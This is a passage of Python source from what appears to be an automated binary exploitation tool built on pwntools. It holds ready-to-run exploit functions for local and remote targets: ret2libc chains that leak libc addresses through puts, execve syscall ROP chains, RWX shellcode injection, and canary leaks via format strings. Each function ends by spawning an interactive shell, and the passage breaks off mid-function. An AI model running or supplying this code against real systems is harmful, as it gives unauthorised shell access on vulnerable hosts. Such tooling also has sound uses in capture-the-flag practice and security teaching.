1993 | pop_rdi_addr = p64(pop_rdi_addr)
1994 | ret_addr = int(ret_addr, 16)
1995 | ret_addr = p64(ret_addr)
1996 |
1997 | if other_rdi_registers == 1:
1998 | payload = flat([asm('nop') * padding, pop_rdi_addr, p64(bin_sh_addr), p64(0), ret_addr, p64(system_addr), p64(0)])
1999 | elif other_rdi_registers == 0:
2000 | payload = flat([asm('nop') * padding, pop_rdi_addr, p64(bin_sh_addr), ret_addr, p64(system_addr)])
2001 |
2002 | io.sendline(payload)
2003 | print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...")
2004 | io.interactive()
2005 |
2006 | def ret2libc_put_x32(program, libc, padding, libc_path):
2007 | """ret2libc exploitation using puts function (x32)"""
2008 | print_section_header("EXPLOITATION: ret2libc (puts) - x32")
2009 | print_payload("preparing ret2libc exploit using puts function")
2010 |
2011 | io = process(program)
2012 | if libc == 1:
2013 | if libc_path == None:
2014 | print_info("using LibcSearcher")
2015 | else:
2016 | print_info(f"using detected libc: {libc_path}")
2017 | libc = ELF(libc_path)
2018 | else:
2019 | libc = ELF(libc)
2020 |
2021 | e = ELF(program)
2022 | main_addr = e.symbols['main']
2023 | puts_plt = e.symbols['puts']
2024 | puts_got = e.got['puts']
2025 |
2026 | print_info(f"main address: {Colors.YELLOW}{hex(main_addr)}{Colors.END}")
2027 | print_info(f"puts@plt: {Colors.YELLOW}{hex(puts_plt)}{Colors.END}")
2028 | print_info(f"puts@got: {Colors.YELLOW}{hex(puts_got)}{Colors.END}")
2029 |
2030 | payload1 = asm('nop') * padding + p32(puts_plt) + p32(main_addr) + p32(puts_got)
2031 | io.recv()
2032 | io.sendline(payload1)
2033 |
2034 | puts_addr = u32(io.recvuntil(b'\xf7')[-4:])
2035 | print_success(f"puts address leaked: {Colors.YELLOW}{hex(puts_addr)}{Colors.END}")
2036 |
2037 | if libc == 1:
2038 | libc = LibcSearcher("puts", puts_addr)
2039 | libcbase = puts_addr - libc.dump('puts')
2040 | system_addr = libcbase + libc.dump('system')
2041 | sh_addr = libcbase + libc.dump('str_bin_sh')
2042 | else:
2043 | libc_puts = libc.symbols['puts']
2044 | system_addr = puts_addr - libc_puts + libc.symbols['system']
2045 | sh_addr = puts_addr - libc_puts + next(libc.search(b'/bin/sh'))
2046 |
2047 | print_success(f"system address calculated: {Colors.YELLOW}{hex(system_addr)}{Colors.END}")
2048 | print_success(f"/bin/sh address calculated: {Colors.YELLOW}{hex(sh_addr)}{Colors.END}")
2049 |
2050 | payload2 = asm('nop') * padding + p32(system_addr) + p32(0) + p32(sh_addr)
2051 | io.sendline(payload2)
2052 |
2053 | # Handle successful exploitation
2054 | handle_exploitation_success(
2055 | 'ret2libc (puts) - x32',
2056 | payload2,
2057 | padding,
2058 | {
2059 | 'puts_plt': hex(puts_plt),
2060 | 'puts_got': hex(puts_got),
2061 | 'main': hex(main_addr),
2062 | 'puts_addr': hex(puts_addr),
2063 | 'system': hex(system_addr),
2064 | 'sh': hex(sh_addr)
2065 | },
2066 | 'Stack Buffer Overflow',
2067 | 'x32'
2068 | )
2069 |
2070 | print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...")
2071 | io.interactive()
2072 |
2073 | def ret2libc_put_x64(program, libc, padding, pop_rdi_addr, pop_rsi_addr, ret_addr, other_rdi_registers, other_rsi_registers, libc_path):
2074 | """ret2libc exploitation using puts function (x64)"""
2075 | print_section_header("EXPLOITATION: ret2libc (puts) - x64")
2076 | print_payload("preparing ret2libc exploit using puts function")
2077 |
2078 | io = process(program)
2079 | if libc == 1:
2080 | if libc_path is None:
2081 | print_info("using LibcSearcher")
2082 | else:
2083 | print_info(f"using detected libc: {libc_path}")
2084 | libc = ELF(libc_path)
2085 | else:
2086 | libc = ELF(libc)
2087 |
2088 | e = ELF(program)
2089 | main_addr = e.symbols['main']
2090 | puts_plt = e.symbols['puts']
2091 | puts_got = e.got['puts']
2092 |
2093 | pop_rdi_addr = int(pop_rdi_addr, 16)
2094 | pop_rdi_addr = p64(pop_rdi_addr)
2095 |
2096 | # First payload: leak puts address from GOT
2097 | payload1 = flat([
2098 | asm('nop') * padding,
2099 | pop_rdi_addr,
2100 | p64(puts_got),
2101 | p64(puts_plt),
2102 | p64(main_addr)
2103 | ])
2104 | io.recv()
2105 | io.sendline(payload1)
2106 |
2107 | puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
2108 | print_success(f"puts address leaked: {Colors.YELLOW}{hex(puts_addr)}{Colors.END}")
2109 |
2110 | # Calculate libc base and system, /bin/sh addresses
2111 | if libc == 1:
2112 | libc = LibcSearcher("puts", puts_addr)
2113 | libcbase = puts_addr - libc.dump('puts')
2114 | system_addr = libcbase + libc.dump('system')
2115 | sh_addr = libcbase + libc.dump('str_bin_sh')
2116 | else:
2117 | libc_puts = libc.symbols['puts']
2118 | system_addr = puts_addr - libc_puts + libc.symbols['system']
2119 | sh_addr = puts_addr - libc_puts + next(libc.search(b'/bin/sh'))
2120 |
2121 | print_success(f"system address calculated: {Colors.YELLOW}{hex(system_addr)}{Colors.END}")
2122 | print_success(f"/bin/sh address calculated: {Colors.YELLOW}{hex(sh_addr)}{Colors.END}")
2123 |
2124 | io.recv()
2125 | ret_addr = p64(int(ret_addr, 16))
2126 |
2127 | # Second payload: call system("/bin/sh")
2128 | if other_rdi_registers == 1:
2129 | payload2 = flat([
2130 | asm('nop') * padding,
2131 | pop_rdi_addr,
2132 | p64(sh_addr),
2133 | p64(0),
2134 | ret_addr,
2135 | p64(system_addr),
2136 | p64(0)
2137 | ])
2138 | else:
2139 | payload2 = flat([
2140 | asm('nop') * padding,
2141 | pop_rdi_addr,
2142 | p64(sh_addr),
2143 | ret_addr,
2144 | p64(system_addr)
2145 | ])
2146 |
2147 | io.sendline(payload2)
2148 |
2149 | # Handle successful exploitation
2150 | handle_exploitation_success(
2151 | 'ret2libc (puts) - x64',
2152 | payload2,
2153 | padding,
2154 | {
2155 | 'puts_plt': hex(puts_plt),
2156 | 'puts_got': hex(puts_got),
2157 | 'main': hex(main_addr),
2158 | 'puts_addr': hex(puts_addr),
2159 | 'system': hex(system_addr),
2160 | 'sh': hex(sh_addr)
2161 | },
2162 | 'Stack Buffer Overflow',
2163 | 'x64'
2164 | )
2165 |
2166 | print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...")
2167 | io.interactive()
2168 |
2169 | def execve_syscall(program, padding, pop_eax_addr, pop_ebx_addr, pop_ecx_addr, pop_edx_addr, pop_ecx_ebx_addr, ret_addr, int_0x80):
2170 | """execve syscall exploitation (x32)"""
2171 | print_section_header("EXPLOITATION: execve syscall - x32")
2172 | print_payload("preparing execve syscall exploit")
2173 |
2174 | if pop_ecx_addr == None:
2175 | io = process(program)
2176 | e = ELF(program)
2177 | bin_sh_addr = next(e.search(b'/bin/sh'))
2178 | print_info(f"/bin/sh address: {Colors.YELLOW}{hex(bin_sh_addr)}{Colors.END}")
2179 |
2180 | pop_eax_addr = int(pop_eax_addr, 16)
2181 | pop_eax_addr = p32(pop_eax_addr)
2182 | pop_ecx_ebx_addr = int(pop_ecx_ebx_addr, 16)
2183 | pop_ecx_ebx_addr = p32(pop_ecx_ebx_addr)
2184 | pop_edx_addr = int(pop_edx_addr, 16)
2185 | pop_edx_addr = p32(pop_edx_addr)
2186 | int_0x80 = int(int_0x80, 16)
2187 | int_0x80 = p32(int_0x80)
2188 |
2189 | payload = flat([asm('nop') * padding, pop_eax_addr, 0xb, pop_ecx_ebx_addr, 0, bin_sh_addr, pop_edx_addr, 0, int_0x80])
2190 | io.recv()
2191 | io.sendline(payload)
2192 |
2193 | handle_exploitation_success(
2194 | exploit_type='execve syscall - x32 (ecx_ebx)',
2195 | payload=payload,
2196 | padding=padding,
2197 | addresses={'bin_sh_addr': bin_sh_addr, 'pop_eax_addr': pop_eax_addr, 'pop_ecx_ebx_addr': pop_ecx_ebx_addr, 'pop_edx_addr': pop_edx_addr, 'int_0x80': int_0x80},
2198 | vulnerability_type='Buffer Overflow',
2199 | architecture='x32'
2200 | )
2201 | io.interactive()
2202 | else:
2203 | io = process(program)
2204 | e = ELF(program)
2205 | bin_sh_addr = next(e.search(b'/bin/sh'))
2206 | print_info(f"/bin/sh address: {Colors.YELLOW}{hex(bin_sh_addr)}{Colors.END}")
2207 |
2208 | pop_eax_addr = int(pop_eax_addr, 16)
2209 | pop_eax_addr = p32(pop_eax_addr)
2210 | pop_ecx_addr = int(pop_ecx_addr, 16)
2211 | pop_ecx_addr = p32(pop_ecx_addr)
2212 | pop_ebx_addr = int(pop_ebx_addr, 16)
2213 | pop_ebx_addr = p32(pop_ebx_addr)
2214 | pop_edx_addr = int(pop_edx_addr, 16)
2215 | pop_edx_addr = p32(pop_edx_addr)
2216 | int_0x80 = int(int_0x80, 16)
2217 | int_0x80 = p32(int_0x80)
2218 |
2219 | payload = flat([asm('nop') * padding, pop_eax_addr, 0xb, pop_ebx_addr, bin_sh_addr, pop_ecx_addr, 0, pop_edx_addr, 0, int_0x80])
2220 | io.recv()
2221 | io.sendline(payload)
2222 |
2223 | handle_exploitation_success(
2224 | exploit_type='execve syscall - x32 (separate)',
2225 | payload=payload,
2226 | padding=padding,
2227 | addresses={'bin_sh_addr': bin_sh_addr, 'pop_eax_addr': pop_eax_addr, 'pop_ebx_addr': pop_ebx_addr, 'pop_ecx_addr': pop_ecx_addr, 'pop_edx_addr': pop_edx_addr, 'int_0x80': int_0x80},
2228 | vulnerability_type='Buffer Overflow',
2229 | architecture='x32'
2230 | )
2231 | io.interactive()
2232 |
2233 | def rwx_shellcode_x32(program, buf_addr, padding, function_name, ret_addr):
2234 | """RWX shellcode exploitation (x32)"""
2235 | print_section_header("EXPLOITATION: RWX Shellcode - x32")
2236 | print_payload("preparing RWX shellcode exploit")
2237 |
2238 | io = process(program)
2239 | elf = ELF(program)
2240 | buf_addr = int(buf_addr, 16)
2241 | buf_addr = p32(buf_addr)
2242 | name_addr = elf.symbols[function_name]
2243 | shellcode = asm(shellcraft.sh())
2244 |
2245 | print_info(f"shellcode storage: {Colors.YELLOW}{function_name}{Colors.END}")
2246 | print_info(f"shellcode size: {Colors.YELLOW}{len(shellcode)}{Colors.END} bytes")
2247 |
2248 | payload = flat([shellcode.ljust(padding, asm('nop')), p32(name_addr)])
2249 | io.recv()
2250 | io.sendline(payload)
2251 | print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...")
2252 | io.interactive()
2253 |
2254 | def rwx_shellcode_x64(program, buf_addr, padding, function_name, ret_addr, libc_path):
2255 | """RWX shellcode exploitation (x64)"""
2256 | print_section_header("EXPLOITATION: RWX Shellcode - x64")
2257 | print_payload("preparing RWX shellcode exploit")
2258 |
2259 | io = process(program)
2260 | elf = ELF(program)
2261 | buf_addr = int(buf_addr, 16)
2262 | buf_addr = p64(buf_addr)
2263 | name_addr = elf.symbols[function_name]
2264 | shellcode = asm(shellcraft.sh())
2265 |
2266 | print_info(f"shellcode storage: {Colors.YELLOW}{function_name}{Colors.END}")
2267 | print_info(f"shellcode size: {Colors.YELLOW}{len(shellcode)}{Colors.END} bytes")
2268 |
2269 | payload = flat([shellcode.ljust(padding, asm('nop')), p64(name_addr)])
2270 | io.recv()
2271 | io.sendline(payload)
2272 | print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...")
2273 | io.interactive()
2274 |
2275 | def ret2libc_put_x32_remote(program, libc, padding, url, port):
2276 | """Remote ret2libc exploitation using puts for x32 architecture"""
2277 | print_section_header("EXPLOITATION: ret2libc (puts) - x32 Remote")
2278 | print_payload("preparing remote ret2libc exploit using puts function")
2279 |
2280 | io = remote(url, port)
2281 |
2282 | if libc == 1:
2283 | print_info("using LibcSearcher for libc resolution")
2284 | else:
2285 | libc = ELF(libc)
2286 |
2287 | e = ELF(program)
2288 | main_addr = e.symbols['main']
2289 | puts_plt = e.symbols['puts']
2290 | puts_got = e.got['puts']
2291 |
2292 | print_info(f"main address: {Colors.YELLOW}{hex(main_addr)}{Colors.END}")
2293 | print_info(f"puts@plt: {Colors.YELLOW}{hex(puts_plt)}{Colors.END}")
2294 | print_info(f"puts@got: {Colors.YELLOW}{hex(puts_got)}{Colors.END}")
2295 |
2296 | # First payload: leak puts address
2297 | payload1 = asm('nop') * padding + p32(puts_plt) + p32(main_addr) + p32(puts_got)
2298 |
2299 | print_payload("sending puts leak payload")
2300 | io.recv()
2301 | io.sendline(payload1)
2302 |
2303 | # Receive leaked puts address
2304 | puts_addr = u32(io.recvuntil(b'\xf7')[-4:])
2305 | print_success(f"puts address leaked: {Colors.YELLOW}{hex(puts_addr)}{Colors.END}")
2306 |
2307 | if libc == 1:
2308 | libc = LibcSearcher("puts", puts_addr)
2309 | libcbase = puts_addr - libc.dump('puts')
2310 | system_addr = libcbase + libc.dump('system')
2311 | sh_addr = libcbase + libc.dump('str_bin_sh')
2312 | else:
2313 | libc_puts = libc.symbols['puts']
2314 | system_addr = puts_addr - libc_puts + libc.symbols['system']
2315 | sh_addr = puts_addr - libc_puts + next(libc.search(b'/bin/sh'))
2316 |
2317 | print_success(f"system address calculated: {Colors.YELLOW}{hex(system_addr)}{Colors.END}")
2318 | print_success(f"/bin/sh address calculated: {Colors.YELLOW}{hex(sh_addr)}{Colors.END}")
2319 |
2320 | # Second payload: execute system("/bin/sh")
2321 | payload2 = asm('nop') * padding + p32(system_addr) + p32(0) + p32(sh_addr)
2322 | io.sendline(payload2)
2323 |
2324 | # Handle successful exploitation
2325 | handle_exploitation_success(
2326 | 'ret2libc (puts) - x32 Remote',
2327 | payload2,
2328 | padding,
2329 | {
2330 | 'puts_plt': hex(puts_plt),
2331 | 'puts_got': hex(puts_got),
2332 | 'main': hex(main_addr),
2333 | 'puts_addr': hex(puts_addr),
2334 | 'system': hex(system_addr),
2335 | 'sh': hex(sh_addr)
2336 | },
2337 | 'Stack Buffer Overflow',
2338 | 'x32'
2339 | )
2340 |
2341 | print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...")
2342 | io.interactive()
2343 |
2344 | def ret2libc_put_x64_remote(program, libc, padding, pop_rdi_addr, pop_rsi_addr, ret_addr, other_rdi_registers, other_rsi_registers, url, port):
2345 | """Remote ret2libc exploitation using puts for x64 architecture"""
2346 | print_section_header("EXPLOITATION: ret2libc (puts) - x64 Remote")
2347 | print_payload("preparing remote ret2libc exploit using puts function")
2348 |
2349 | io = remote(url, port)
2350 | if libc == 1:
2351 | print_info("using LibcSearcher for libc resolution")
2352 | else:
2353 | libc = ELF(libc)
2354 |
2355 | e = ELF(program)
2356 | main_addr = e.symbols['main']
2357 | puts_plt = e.symbols['puts']
2358 | puts_got = e.got['puts']
2359 |
2360 | pop_rdi_addr = int(pop_rdi_addr, 16)
2361 | pop_rdi_addr = p64(pop_rdi_addr)
2362 |
2363 | # First payload: leak puts address from GOT
2364 | payload1 = flat([
2365 | asm('nop') * padding,
2366 | pop_rdi_addr,
2367 | p64(puts_got),
2368 | p64(puts_plt),
2369 | p64(main_addr)
2370 | ])
2371 |
2372 | print_payload("sending puts leak payload")
2373 | io.recv()
2374 | io.sendline(payload1)
2375 |
2376 | # Receive leaked puts address
2377 | puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
2378 | print_success(f"puts address leaked: {Colors.YELLOW}{hex(puts_addr)}{Colors.END}")
2379 |
2380 | # Calculate libc base and system, /bin/sh addresses
2381 | if libc == 1:
2382 | libc = LibcSearcher("puts", puts_addr)
2383 | libcbase = puts_addr - libc.dump('puts')
2384 | system_addr = libcbase + libc.dump('system')
2385 | sh_addr = libcbase + libc.dump('str_bin_sh')
2386 | else:
2387 | libc_puts = libc.symbols['puts']
2388 | system_addr = puts_addr - libc_puts + libc.symbols['system']
2389 | sh_addr = puts_addr - libc_puts + next(libc.search(b'/bin/sh'))
2390 |
2391 | print_success(f"system address calculated: {Colors.YELLOW}{hex(system_addr)}{Colors.END}")
2392 | print_success(f"/bin/sh address calculated: {Colors.YELLOW}{hex(sh_addr)}{Colors.END}")
2393 |
2394 | io.recv()
2395 | ret_addr = p64(int(ret_addr, 16))
2396 |
2397 | # Second payload: call system("/bin/sh")
2398 | if other_rdi_registers == 1:
2399 | payload2 = flat([
2400 | asm('nop') * padding,
2401 | pop_rdi_addr,
2402 | p64(sh_addr),
2403 | p64(0),
2404 | ret_addr,
2405 | p64(system_addr),
2406 | p64(0)
2407 | ])
2408 | else:
2409 | payload2 = flat([
2410 | asm('nop') * padding,
2411 | pop_rdi_addr,
2412 | p64(sh_addr),
2413 | ret_addr,
2414 | p64(system_addr)
2415 | ])
2416 |
2417 | io.sendline(payload2)
2418 |
2419 | # Handle successful exploitation
2420 | handle_exploitation_success(
2421 | 'ret2libc (puts) - x64 Remote',
2422 | payload2,
2423 | padding,
2424 | {
2425 | 'puts_plt': hex(puts_plt),
2426 | 'puts_got': hex(puts_got),
2427 | 'main': hex(main_addr),
2428 | 'puts_addr': hex(puts_addr),
2429 | 'system': hex(system_addr),
2430 | 'sh': hex(sh_addr)
2431 | },
2432 | 'Stack Buffer Overflow',
2433 | 'x64'
2434 | )
2435 |
2436 | print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...")
2437 | io.interactive()
2438 |
2439 | def execve_syscall_remote(program, padding, pop_eax_addr, pop_ebx_addr, pop_ecx_addr, pop_edx_addr, pop_ecx_ebx_addr, ret_addr, int_0x80, url, port):
2440 | """Remote execve syscall exploitation for x32 architecture"""
2441 | print_section_header("EXPLOITATION: execve syscall - x32 Remote")
2442 | print_payload("preparing remote execve syscall exploit")
2443 |
2444 | io = remote(url, port)
2445 |
2446 | if pop_ecx_addr == None:
2447 | e = ELF(program)
2448 | bin_sh_addr = next(e.search(b'/bin/sh'))
2449 | print_info(f"/bin/sh address: {Colors.YELLOW}{hex(bin_sh_addr)}{Colors.END}")
2450 |
2451 | pop_eax_addr = int(pop_eax_addr, 16)
2452 | pop_eax_addr = p32(pop_eax_addr)
2453 | pop_ecx_ebx_addr = int(pop_ecx_ebx_addr, 16)
2454 | pop_ecx_ebx_addr = p32(pop_ecx_ebx_addr)
2455 | pop_edx_addr = int(pop_edx_addr, 16)
2456 | pop_edx_addr = p32(pop_edx_addr)
2457 | int_0x80 = int(int_0x80, 16)
2458 | int_0x80 = p32(int_0x80)
2459 |
2460 | payload = flat([asm('nop') * padding, pop_eax_addr, 0xb, pop_ecx_ebx_addr, 0, bin_sh_addr, pop_edx_addr, 0, int_0x80])
2461 | io.recv()
2462 | io.sendline(payload)
2463 | print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...")
2464 | io.interactive()
2465 | else:
2466 | e = ELF(program)
2467 | bin_sh_addr = next(e.search(b'/bin/sh'))
2468 | print_info(f"/bin/sh address: {Colors.YELLOW}{hex(bin_sh_addr)}{Colors.END}")
2469 |
2470 | pop_eax_addr = int(pop_eax_addr, 16)
2471 | pop_eax_addr = p32(pop_eax_addr)
2472 | pop_ecx_addr = int(pop_ecx_addr, 16)
2473 | pop_ecx_addr = p32(pop_ecx_addr)
2474 | pop_ebx_addr = int(pop_ebx_addr, 16)
2475 | pop_ebx_addr = p32(pop_ebx_addr)
2476 | pop_edx_addr = int(pop_edx_addr, 16)
2477 | pop_edx_addr = p32(pop_edx_addr)
2478 | int_0x80 = int(int_0x80, 16)
2479 | int_0x80 = p32(int_0x80)
2480 |
2481 | payload = flat([asm('nop') * padding, pop_eax_addr, 0xb, pop_ebx_addr, bin_sh_addr, pop_ecx_addr, 0, pop_edx_addr, 0, int_0x80])
2482 | io.recv()
2483 | io.sendline(payload)
2484 | print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...")
2485 | io.interactive()
2486 |
2487 | def rwx_shellcode_x32_remote(program, buf_addr, padding, function_name, ret_addr, url, port):
2488 | """Remote RWX shellcode exploitation for x32 architecture"""
2489 | print_section_header("EXPLOITATION: RWX Shellcode - x32 Remote")
2490 | print_payload("preparing remote RWX shellcode exploit")
2491 |
2492 | io = remote(url, port)
2493 | elf = ELF(program)
2494 | buf_addr = int(buf_addr, 16)
2495 | buf_addr = p32(buf_addr)
2496 | name_addr = elf.symbols[function_name]
2497 | shellcode = asm(shellcraft.sh())
2498 |
2499 | print_info(f"shellcode storage: {Colors.YELLOW}{function_name}{Colors.END}")
2500 | print_info(f"shellcode size: {Colors.YELLOW}{len(shellcode)}{Colors.END} bytes")
2501 |
2502 | payload = flat([shellcode.ljust(padding, asm('nop')), p32(name_addr)])
2503 | io.recv()
2504 | io.sendline(payload)
2505 | print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...")
2506 | io.interactive()
2507 |
2508 | def rwx_shellcode_x64_remote(program, buf_addr, padding, function_name, ret_addr, url, port):
2509 | """Remote RWX shellcode exploitation for x64 architecture"""
2510 | print_section_header("EXPLOITATION: RWX Shellcode - x64 Remote")
2511 | print_payload("preparing remote RWX shellcode exploit")
2512 |
2513 | io = remote(url, port)
2514 | elf = ELF(program)
2515 | buf_addr = int(buf_addr, 16)
2516 | buf_addr = p64(buf_addr)
2517 | name_addr = elf.symbols[function_name]
2518 | shellcode = asm(shellcraft.sh())
2519 |
2520 | print_info(f"shellcode storage: {Colors.YELLOW}{function_name}{Colors.END}")
2521 | print_info(f"shellcode size: {Colors.YELLOW}{len(shellcode)}{Colors.END} bytes")
2522 |
2523 | payload = flat([shellcode.ljust(padding, asm('nop')), p64(name_addr)])
2524 | io.recv()
2525 | io.sendline(payload)
2526 | print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...")
2527 | io.interactive()
2528 |
2529 | def ret2libc_put_canary_x32(program,libc,libc_path,padding,c,diff):
2530 | """ret2libc exploitation with canary bypass using puts for x32 architecture"""
2531 | print_section_header("EXPLOITATION: ret2libc (puts) with Canary Bypass - x32")
2532 | print_payload("preparing ret2libc exploit with canary bypass using puts function")
2533 |
2534 | io = process(program)
2535 | if libc == 1:
2536 | if libc_path == None:
2537 | print_info("using LibcSearcher for libc resolution")
2538 | else:
2539 | print_info("using user specified libc path")
2540 | libc = ELF(libc_path)
2541 | else:
2542 | libc = ELF(libc)
2543 | e = ELF(program)
2544 | main_addr = e.symbols['main']
2545 | puts_plt = e.symbols['puts']
2546 | puts_got = e.got['puts']
2547 |
2548 | print_info(f"leaking canary value at position {Colors.YELLOW}{c}{Colors.END}")
2549 | io.recv()
2550 | io.sendline(f'%{c}$p'.encode())
2551 | result = io.recvline().decode().strip()
2552 | print_success(f"canary value: {Colors.YELLOW}{result}{Colors.END}")
2553 | result = int(result, 16)
2554 | canary = p32(result)
2555 |
2556 | print_info("constructing stage 1 payload to leak puts address")
2557 | payload1 = flat([asm('nop') * padding , canary , b'AAAA' * diff , p32(puts_plt) , p32(main_addr) , p32(puts_got)])
2558 | io.recv()
2559 | io.sendline(payload1)
2560 |
2561 | puts_addr=u32(io.recvuntil(b'\xf7')[-4:])
2562 | print_success(f"puts function address in libc: {Colors.YELLOW}{hex(puts_addr)}{Colors.END}")
2563 |
2564 | print_info("calculating libc base and target addresses")
2565 | if libc == 1:
2566 | libc = LibcSearcher("puts",puts_addr)
2567 | libcbase = puts_addr - libc.dump('puts')
2568 | libc_system = libc.dump('system')
2569 | libc_sh = libc.dump('str_bin_sh')
2570 | system_addr = libcbase + libc_system
2571 | print_success(f"system function address in libc: {Colors.YELLOW}{hex(system_addr)}{Colors.END}")
2572 | sh_addr = libcbase + libc_sh
2573 | print_success(f"/bin/sh string address in libc: {Colors.YELLOW}{hex(sh_addr)}{Colors.END}")
2574 | else:
2575 | libc_puts = libc.symbols['puts']
2576 | libc_system = libc.symbols['system']
2577 | libc_sh = next(libc.search(b'/bin/sh'))
2578 | system_addr = puts_addr - libc_puts + libc_system
2579 | print_success(f"system function address in libc: {Colors.YELLOW}{hex(system_addr)}{Colors.END}")
2580 | sh_addr = puts_addr - libc_puts + libc_sh
2581 | print_success(f"/bin/sh string address in libc: {Colors.YELLOW}{hex(sh_addr)}{Colors.END}")
2582 |
2583 | print_info("re-leaking canary for stage 2 exploit")
2584 | io.recv()
2585 | io.sendline(f'%{c}$p'.encode())
2586 | io.recv()
2587 | print_info("constructing stage 2 payload for system call")
2588 | payload2 = flat([asm('nop') * padding , canary , b'AAAA' * diff , p32(system_addr) , p32(0) , p32(sh_addr)])
2589 | io.sendline(payload2)
2590 | print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...")
2591 | io.interactive()
2592 |
2593 | def ret2libc_put_x32_canary_remote(program,libc,padding,url,port,c,diff):
2594 | """Remote ret2libc exploitation with canary bypass using puts for x32 architecture"""
2595 | print_section_header("EXPLOITATION: ret2libc (puts) with Canary Bypass - x32 Remote")
2596 | print_payload(f"preparing remote ret2libc exploit with canary bypass to {Colors.YELLOW}{url}:{port}{Colors.END}")
2597 |
2598 | io = remote(url,port)
2599 | if libc == 1:
2600 | if libc_path == None:
2601 | print_info("using LibcSearcher for libc resolution")
2602 | else:
2603 | print_info("using user specified libc path")
2604 | libc = ELF(libc_path)
2605 | else:
2606 | libc = ELF(libc)
2607 | e = ELF(program)
2608 | main_addr = e.symbols['main']
2609 | puts_plt = e.symbols['puts']
2610 | puts_got = e.got['puts']
2611 |
2612 | print_info(f"leaking canary value at position {Colors.YELLOW}{c}{Colors.END}")
2613 | io.recv()
2614 | io.sendline(f'%{c}$p'.encode())
2615 | result = io.recvline().decode().strip()
2616 | print_success(f"canary value: {Colors.YELLOW}{result}{Colors.END}")
2617 | result = int(result, 16)
2618 | canary = p32(result)
2619 |
2620 | print_info("constructing stage 1 payload to leak puts address")
2621 | payload1 = flat([asm('nop') * padding , canary , b'AAAA' * diff , p32(puts_plt) , p32(main_addr) , p32(puts_got)])
2622 | io.recv()
2623 | io.sendline(payload1)
2624 |
2625 | puts_addr=u32(io.recvuntil(b'\xf7')[-4:])
2626 | print_success(f"puts function address in libc: {Colors.YELLOW}{hex(puts_addr)}{Colors.END}")
2627 |
2628 | print_info("calculating libc base and target addresses")
2629 | if libc == 1:
2630 | libc = LibcSearcher("puts",puts_addr)
2631 | libcbase = puts_addr - libc.dump('puts')
2632 | libc_system = libc.dump('system')
2633 | libc_sh = libc.dump('str_bin_sh')
2634 | system_addr = libcbase + libc_system
2635 | print_success(f"system function address in libc: {Colors.YELLOW}{hex(system_addr)}{Colors.END}")
2636 | sh_addr = libcbase + libc_sh
2637 | print_success(f"/bin/sh string address in libc: {Colors.YELLOW}{hex(sh_addr)}{Colors.END}")
2638 | else:
2639 | libc_puts = libc.symbols['puts']
2640 | libc_system = libc.symbols['system']
2641 | libc_sh = next(libc.search(b'/bin/sh'))
2642 | system_addr = puts_addr - libc_puts + libc_system
2643 | print_success(f"system function address in libc: {Colors.YELLOW}{hex(system_addr)}{Colors.END}")
2644 | sh_addr = puts_addr - libc_puts + libc_sh
2645 | print_success(f"/bin/sh string address in libc: {Colors.YELLOW}{hex(sh_addr)}{Colors.END}")
2646 |
2647 | print_info("re-leaking canary for stage 2 exploit")
2648 | io.recv()
2649 | io.sendline(f'%{c}$p'.encode())
2650 | io.recv()
2651 | print_info("constructing stage 2 payload for system call")
2652 | payload2 = flat([asm('nop') * padding , canary , b'AAAA' * diff , p32(system_addr) , p32(0) , p32(sh_addr)])
2653 | io.sendline(payload2)
2654 | print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...")
2655 | io.interactive()
2656 |
2657 | def ret2libc_put_canary_x64(program,libc,pop_rdi_addr, pop_rsi_addr, ret_addr ,other_rdi_registers ,other_rsi_registers,libc_path,padding,c,diff):
2658 | io = process(program)
2659 | if libc == 1:
2660 | if libc_path == None:
2661 | print_info('Using LibcSearcher')
2662 | else:
2663 | print_warning('User did not specify libc path')
2664 | libc = ELF(libc_path)
2665 | else:
2666 | libc = ELF(libc)
2667 | e = ELF(program)
2668 | main_addr = e.symbols['main']
2669 | puts_plt = e.symbols['puts']
2670 | puts_got = e.got['puts']
2671 |
2672 | pop_rdi_addr = int(pop_rdi_addr, 16)
2673 | pop_rdi_addr = p64(pop_rdi_addr)
2674 | io.recv()
2675 | io.sendline(f'%{c}$p'.encode())
2676 | result = io.recvline().decode().strip()
2677 | print(f"Canary value is: {result}")
2678 | result = int(result, 16)
2679 | canary = p64(result)
2680 |
2681 | payload1 = flat([asm('nop') * padding , canary , b'AAAAAAAA' * diff , pop_rdi_addr , p64(puts_got), p64(puts_plt) , p64(main_addr)])
2682 | io.recv()
2683 | io.sendline(payload1)
2684 |
2685 | puts_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
2686 | print(f'[*]puts function address in libc: \033[31m{hex(puts_addr)}\033[0m')
2687 |
2688 | if libc == 1:
2689 | libc = LibcSearcher("puts",puts_addr)
2690 | libcbase = puts_addr - libc.dump('puts')
2691 | libc_system = libc.dump('system')
2692 | libc_sh = libc.dump('str_bin_sh')
2693 | system_addr = libcbase + libc_system
2694 | print(f'[*]system function address in libc: \033[31m{hex(system_addr)}\033[0m')
2695 | sh_addr = libcbase + libc_sh
2696 | print(f'[*]/bin/sh string address in libc: \033[31m{hex(sh_addr)}\033[0m')
2697 | print('\033[31m[*]PWN!!!\033[0m')
2698 | else:
2699 | libc_puts = libc.symbols['puts']
2700 | libc_system = libc.symbols['system']
2701 | libc_sh = next(libc.search(b'/bin/sh'))
2702 | system_addr = puts_addr - libc_puts + libc_system
2703 | print(f'[*]system function address in libc: \033[31m{hex(system_addr)}\033[0m')
2704 | sh_addr = puts_addr - libc_puts + libc_sh
2705 | print(f'[*]/bin/sh string address in libc: \033[31m{hex(sh_addr)}\033[0m')
2706 | print('\033[31m[*]PWN!!!\033[0m')
2707 |
2708 | io.recv()
2709 | io.sendline(f'%{c}$p'.encode())
2710 | io.recv()
2711 | ret_addr = int(ret_addr, 16)
